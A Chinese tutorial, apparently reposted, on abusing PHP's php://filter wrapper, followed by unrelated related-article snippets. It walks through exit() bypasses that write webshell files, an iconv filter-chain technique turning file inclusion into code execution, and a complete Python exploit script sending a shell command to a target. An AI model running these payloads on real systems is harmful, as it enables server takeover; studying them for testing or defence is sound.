php://filter的trick

php://filter流最常見的用法就是文件包含讀取文件,但是它不止可以用來讀取文件,還可以和RCE,XXE,反序列化等進行組合利用

filter協議介紹

php://filter是php獨有的一種協議,它是一種過濾器,可以作為一個中間流來過濾其他數據流,通常使用該協議來讀取或者寫入部分數據,且在讀取和寫入之前對數據進行一些過濾,例如base64rot13等處理

filter協議的一般語法為

php://filter/過濾器|過濾器/resource=待過濾的數據流

過濾器可以通過管道符設置多個,按照鏈式的方式依次對數據進行過濾處理

php filter的過濾器

字符串過濾器

string字符串開頭,常見的過濾器有rot13tolowertoupperstrip_tags等,例如

php://filter/read=string.rot13/resource=data://text/plain,abcdefg

toupper、tolower是對字符串進行大小寫轉換處理

strip_tags對數據流進行strip_tags函數的處理,該函數功能為剝去字符串中的 HTMLXML 以及 PHP 的標簽,簡單理解就是包含有尖括號中的東西。

轉換過濾器

主要含有三類,分別是base64的編碼轉換、quoted-printable的編碼轉換以及iconv字符編碼的轉換。該類過濾器以convert開頭。

Quoted-printable可譯為可打印字符引用編碼,可以理解為將一些不可打印的ASCII字符進行一個編碼轉換,轉換成=后面跟兩個十六進制數

壓縮過濾器

主要有兩類,zlibbzip2,其中zlib.deflatebzip2.compress用于壓縮,zlib.inflatebzip2.decompress用于解壓縮。

加密過濾器

mcrypt開頭,后面指定一個加密算法。本特性已自PHP 7.1.0起廢棄。強烈建議不要使用本特性。

(ps:php://filter面對不可用的規則只是報個Warning,之后會跳過繼續執行)

繞過php exit()

file_put_contents($filename,"<?php exit();".$content);

$content在開頭增加了exit,導致文件運行直接退出

那么該怎么繞過呢,只要將content前面的那部分內容使用某種手段(編碼等)進行處理,導致php不能識別該部分就可以

Base64編碼繞過

Base64在進行解碼的時候,是4個字符一組進行解碼,也就是說如果構造一個字符串如aaaabTFzbjB3,前面的四個a會被當成一組進行正常解碼,后面真正的base64編碼也就會正常解碼。因此在使用base64編碼繞過該限制的時候,需要自己補一些填充符,讓前面需要繞過的字符串組合起來長度是4的倍數,因為前面參數解碼的字符串只有phpexit,因此上述的繞過方式為:

$filename = "php://filter/write=convert.base64-decode/resource=shell.php";
$content = "aPD9waHAgcGhwaW5mbygpOz8+"
rot13繞過

方式和base64類似,將payload轉換一下即可:

$filename = "php://filter/write=string.rot13/resource=shell.php";
$content = "<?cuc cucvasb();?>";
組合方式繞過

例如使用strip_tagsbase64進行繞過:

$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
iconv字符編碼轉換

這里用到幾種編碼:

UCS-2:對目標字符串進行2位一反轉
UCS-4:對目標字符串進行4位一反轉

payload生成:

<?php
$a = "<?php phpinfo();?>aa";
echo iconv("UCS-4LE","UCS-4BE",$a);

payload:

# 2位一反轉
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";# 4位一反轉(注意添加一些填充位)
$content = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa?<aa phpiphp(ofn>?;)/resource=shell.php";
組合繞過方式

感覺能單個過濾器繞過的,就可以不用多個過濾器一起組合繞過。

strip_tags+base64編碼繞過

繞過思路就是:閉合前面的<?php標簽,并使用strip_tags進行處理過濾,然后正常base64解碼

構造payload如下:

$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";

ps:resource后面的路徑,php://filter仍然會將其視作位過濾器進行一個過濾處理,例如:

$content = "php://filter/resource=./convert.base64-encode/../shell.php";

RCE的實現

iconv filter

在 PHP 中,我們可以利用 PHP Base64 Filter 寬松的解析,通過 iconv filter 等編碼組合構造出特定的 PHP 代碼進而完成無需臨時文件的 RCE

眾所周知,include 函數實際包含的是 Base64 解碼后的 PHP 代碼。

那我們有沒有辦法通過編碼形式,構造產生自己想要的內容呢?這里就提到了我們今天要介紹的技巧。

PHP Filter 當中有一種 convert.iconv 的 Filter ,可以用來將數據從字符集 A 轉換為字符集 B ,其中這兩個字符集可以從 iconv -l 獲得,這個字符集比較長,不過也存在一些實際上是其他字符集的別名

<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

使用以上例子,我們可以通過 iconv 來將 UTF-8 字符集轉換到 UTF-7 字符集。那么這個有什么用呢?

結合我們上述提到的編碼、文件內容,我們是不是可以利用一些固定文件內容來產生 webshell 呢?

結合 PHP Base64 寬松性,即使我們使用其他字符編碼產生了不可見字符,我們也可以利用 convert.base64-decode 來去掉非法字符,留下我們想要的字符。

所以我們先假設我們的文件內容為 14 個 a 字符,我們可以通過暴力遍歷 iconv 支持的字符編碼形式,看我們得到的結果,例如:

$url = "php://filter/";$url .= "convert.iconv.UTF8.CSISO2022KR";$url .= "/resource=data://,aaaaaaaaaaaaaa";     //我們這里簡單使用 `data://` 來模擬文件內容讀取。
var_dump(file_get_contents($url));// hexdump:
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 1b 24 29 43  |string(18) ".$)C|
// 00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 22 0a  |aaaaaaaaaaaaaa".|

我們可以看到這個 UTF8.CSISO2022KR 編碼形式,并且通過這個編碼形式產生的字符串里面, C 字符前面的字符對于 PHP Base64 來說是非法字符,所以接下來我們只需要 base64-decode 一下就可以去掉不可見字符了,但是與此同時,我們的 C 字符也被 base64-decode 解碼了,這時候我們需要再把解碼結果使用一次 base64-encode 即可還原回來原來的 C 字符了。

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));// hexdump
// 00000000  73 74 72 69 6e 67 28 31  31 29 20 22 09 a6 9a 69  |string(11) "...i|
// 00000010  a6 9a 69 a6 9a 69 a6 22  0a                       |..i..i.".|$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));// hexdump
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 43 61 61 61  |string(12) "Caaa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

Craft Base64 payload

因為 base64 編碼合法字符里面并沒有尖括號,所以我們不能通過以上方式直接產生 PHP 代碼進行包含,但是我們可以通過以上技巧來產生一個 base64 字符串,最后再使用一次 base64 解碼一次就可以了。

例如我們生成PAaaaaa,最后經過base64解碼得到第一個字符為<,后續為其他不需要的字符(垃圾字符),按照這個方法就可以構造一個webshell的base64字符串了

可以使用 convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2 來生成

$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));// hexdump
// 00000000  73 74 72 69 6e 67 28 35  32 29 20 22 38 01 fe 00  |string(52) "8...|
// 00000010  43 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |C...a...a...a...|
// 00000020  61 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |a...a...a...a...|
// *
// 00000040  22 0a                                             |".|// 起用了注釋那一行后,即還原到 Base64 之后的 hexdump:
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 38 43 61 61  |string(12) "8Caa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

我們可以通過這種形式來將前面部分的構造成我們所需要的 base64 字符串,最后 base64 解碼即可成為我們想要的 PHP 代碼了。

因為最終的 base64 字符串,是由 iconv 相對應的編碼規則生成的,所以我們最好通過已有的編碼規則來適當地匹配自己想要的 webshell ,比如

<?=`$_GET[0]`;;?>

以上 payload 的 base64 編碼為 PD89YCRfR0VUWzBdYDs7Pz4= ,而如果只使用了一個分號,則編碼結果為 PD89YCRfR0VUWzBdYDs/Pg== ,這里 7 可能相對于斜杠比較好找一些,也可能是 exp 作者沒有 fuzz 或者找到斜杠的生成規則,所以作者這里使用了兩個分號避開了最終 base64 編碼中的斜杠。

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array('R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C' => 'convert.iconv.UTF8.CSISO2022KR','8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";foreach (str_split(strrev($base64_payload)) as $c) {$filters .= $conversions[$c] . "|";$filters .= "convert.base64-decode|";$filters .= "convert.base64-encode|";$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";// echo $final_payload;
var_dump(file_get_contents($final_payload));// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

這里需要注意的地方是:

  • convert.iconv.UTF8.UTF7 將等號轉換為字母。之所以使用這個的原因是 exp 作者遇到過有時候等號會讓 convert.base64-decode 過濾器解析失敗的情況,可以使用 iconv 從 UTF8 轉換到 UTF7 ,會把字符串中的任何等號變成一些 base64 。
  • data://,后的數據是為了方便展示,需要補足一定的位數,當然如果使用 include 就不能用了,畢竟需要 RFI

還有python一把梭腳本

import requestsurl = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C': 'convert.iconv.UTF8.CSISO2022KR','8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:filters += conversions[c] + "|"# decode and reencode to get rid of everything that isn't valid base64filters += "convert.base64-decode|"filters += "convert.base64-encode|"# get rid of equal signsfilters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "include","file": final_payload
})print(r.text)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/84023.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/84023.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/84023.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

微信小程序開發中,請求數據列表,第一次請求10條,滑動到最低自動再請求10條,后面請求的10條怎么加到第一次請求的10條后面?

在微信小程序中實現分頁加載數據列表&#xff0c;可通過以下步驟將后續請求的10條數據追加到首次加載的數據之后&#xff1a; 實現步驟及代碼示例 定義頁面數據與參數 在頁面的 data 中初始化存儲列表、頁碼、加載狀態及是否有更多數據的標識&#xff1a; Page({data: {list…

如何利用 Java 爬蟲根據 ID 獲取某手商品詳情:實戰指南

在電商領域&#xff0c;獲取商品詳情數據對于市場分析、選品上架、庫存管理和價格策略制定等方面具有重要價值。某手作為國內知名的電商平臺&#xff0c;提供了豐富的商品資源。通過 Java 爬蟲技術&#xff0c;我們可以高效地根據商品 ID 獲取某手商品的詳細信息。本文將詳細介…

電平匹配電路

1、為什么要電平匹配? 現在很多SOC器件為了降低功耗,都把IO口的電平設計成了1.8V,核電壓0.85V,當這種SOC做主平臺時,在做接口設計需要格外關注電平的匹配。單板中經常需要將1.8V的電平轉換成3.3V或者轉成5V。如果沒有注意到輸入和輸出信號之間的電平匹配,系統就無法正常…

【技術揭秘】Profinet轉RS485如何優化沖剪機的實時通信性能???

在現代工業自動化領域&#xff0c;通信協議是連接不同設備和系統的關鍵。RS485和Profinet是兩種廣泛使用的工業通信標準&#xff0c;它們各自擁有獨特的特性和應用場景。本文將探討如何通過一個小疆智控Profinet轉RS485網關來優化沖剪機的應用&#xff0c;提高生產線的效率和可…

面經總目錄——持續更新中

說明 本面經總結了校招時我面試各個公司的面試題目&#xff0c;每場面試后我都及時進行了總結&#xff0c;同時后期補充擴展了同類型的相近面試題&#xff0c;校招時從兩個方向進行投遞&#xff0c;視覺算法工程師和軟件開發工程師&#xff08;C方向&#xff09;&#xff0c;所…

AI前端頁面生成:deepsite、Qwen Web Dev

deepsite網頁生成 https://huggingface.co/spaces/enzostvs/deepsite 落地頁美觀不錯,默認用tailwindcss實現樣式 提示詞: AI 功能是核心,通過后端 server.js 實現。server.js 使用 Express 框架,依賴 @huggingface/inference 庫與 Hugging Face 推理 API 交互,具體使用…

華為云鯤鵬型kC2云服務器——鯤鵬920芯片性能測評

華為云鯤鵬型kC2云服務器性能怎么樣&#xff1f;性能很不錯&#xff0c;鯤鵬通用計算增強型kC2實例是ARM架構的云服務器&#xff0c;CPU采用Huawei Kunpeng 920 2.9GHz主頻&#xff0c;每個vCPU對應一個底層物理內核。華為云服務器網hwyfwq.com整理鯤鵬型kC2云服務器性能測評及…

Java 安全SPEL 表達式SSTI 模版注入XXEJDBCMyBatis 注入

https://github.com/bewhale/JavaSec https://github.com/j3ers3/Hello-Java-Sec https://mp.weixin.qq.com/s/ZO4tpz9ys6kCIryNhA5nYw #Java 安全 -SQL 注入 -JDBC&MyBatis -JDBC 1 、采用 Statement 方法拼接 SQL 語句 2 、 PrepareStatement 會對 SQL 語…

【VxWorks 實時操作系統(RTOS)】常用函數匯總

VxWorks 實時操作系統&#xff08;RTOS&#xff09;中的核心函數 1. taskSpawn 函數 功能&#xff1a;用于動態創建并激活一個新任務&#xff08;線程&#xff09;。參數解析&#xff08;以 VxWorks 為例&#xff09;&#xff1a;int taskSpawn(char *name, // 任務名…

【MySQL】數據庫約束

MySQL(三)數據庫約束 數據庫約束 一、not null 二、default 三、unique 四、primary key 1.自增主鍵機制 1.1單服務器下 1.2分布式下 1.2.1時間戳 1.2.2主機編號 1.2.3隨機因子 五、foreign key 1.∈關系維護 1.1父約子&#xff1a; 1.2子約父&#xff1a; 1.3…

VRRP 協議

一、前言 最近被問到一個VRRP的網絡協議&#xff0c;一開始我是蒙蔽的狀態&#xff0c;至于什么是VRRP&#xff0c;我后面查了一下&#xff0c;因為對于網絡這方面我也不是很精通&#xff0c;見諒&#xff01; VRRP&#xff0c;全稱叫虛擬路由冗余協議&#xff0c;是我孤陋寡聞…

打開小程序提示請求失敗(小程序頁面空白)

1、小程序代碼是商城后臺下載的還是自己編譯的 &#xff08;1&#xff09;要是商城后臺下載的&#xff0c;檢查設置里面的域名是不是https的 &#xff08;2&#xff09;要是自己編譯的&#xff0c;檢查app.js里面的接口域名是不是https的&#xff0c;填了以后有沒有保存 注&a…

Windows/MacOS WebStorm/IDEA 中開發 Uni-App 配置

文章目錄 前言1. 安裝 HBuilder X2. WebStorm/IDEA 安裝 Uniapp Tool 插件3. 配置 Uniapp Tool 插件4. 運行 Uni-App 項目 前言 前端開發人員對 WebStorm 一定不陌生&#xff0c;但有時需要開發 Uni-App 的需求&#xff0c;就必須要采用 HBuilder X&#xff0c;如果不習慣 HBu…

第四十三節:人臉檢測與識別-人臉識別基礎 (Eigenfaces, Fisherfaces, LBPH)

引言 人臉識別技術是計算機視覺領域最具應用價值的方向之一,廣泛應用于安防監控、身份認證、人機交互等領域。本文將通過OpenCV框架,深入解析人臉檢測與識別的核心算法(Eigenfaces/Fisherfaces/LBPH),并提供完整的代碼實現。 第一部分:人臉檢測基礎 1.1 人臉檢測原理 …

在Windows 11中,Edge瀏覽器默認會打開多個標簽頁,導致任務切換時標簽頁過多

?在Windows 11中&#xff0c;Edge瀏覽器默認會打開多個標簽頁&#xff0c;導致任務切換時標簽頁過多。要像Google Chrome一樣&#xff0c;只顯示當前標簽頁&#xff0c;可以按照以下步驟操作?&#xff1a; 打開Windows系統“設置” 選擇“系統”&#xff1a;在設置中找到“…

【modelscope/huggingface 通過colab將huggingface 模型/數據集/空間轉移到 modelscope并下載】

1. 準備 注冊一個modelscope賬號&#xff08;國內的&#xff09;拿到對應的訪問令牌SDK/API令牌注冊一個google賬號&#xff0c; 登錄colab 2. 開始干! 打開一個ipynb 安裝依賴包 !pip install -qqq modelscope huggingface-hub -U選擇安裝git lfs !curl -s https://packag…

HarmonyOS NEXT~鴻蒙系統與Uniapp跨平臺開發實踐指南

HarmonyOS NEXT&#xff5e;鴻蒙系統與Uniapp跨平臺開發實踐指南 引言&#xff1a;鴻蒙與Uniapp的融合價值 華為鴻蒙系統(HarmonyOS)作為新一代智能終端操作系統&#xff0c;其分布式能力與跨設備協同特性為開發者帶來了全新機遇。而Uniapp作為流行的跨平臺應用開發框架&…

【IPMV】圖像處理與機器視覺:Lec10 Edges and Lines

【IPMV】圖像處理與機器視覺&#xff1a;Lec10 Edges and Lines 本系列為2025年同濟大學自動化專業**圖像處理與機器視覺**課程筆記 Lecturer: Rui Fan、Yanchao Dong Lec0 Course Description Lec3 Perspective Transformation Lec7 Image Filtering Lec8 Image Pyramid …

AI筑基,新質躍升|英碼科技亮相華為廣東新質生產力創新峰會,發布大模型一體機新品,助力產業智能化轉型

5月15日&#xff0c;以“AI筑基&#xff0c;新質躍升”為主題的華為中國行2025廣東新質生產力創新峰會在惠州圓滿召開。本次峰會聚焦人工智能、算力基礎設施等新ICT技術如何驅動“新質生產力”&#xff0c;共探廣東高質量發展新路徑。英碼科技受邀出席本次峰會&#xff0c;并攜…

篇章三 需求分析(二)

目錄 1.核心API 2.交換機類型 3.持久化 4.網絡通信 5.小結 1.核心API 消息隊列服務器&#xff08;Broker Server&#xff09;&#xff0c;要提供的核心API 1.創建隊列&#xff08;queueDeclare&#xff09; 此處不使用 Create 這樣的術語&#xff0c;而是使用 Declare&…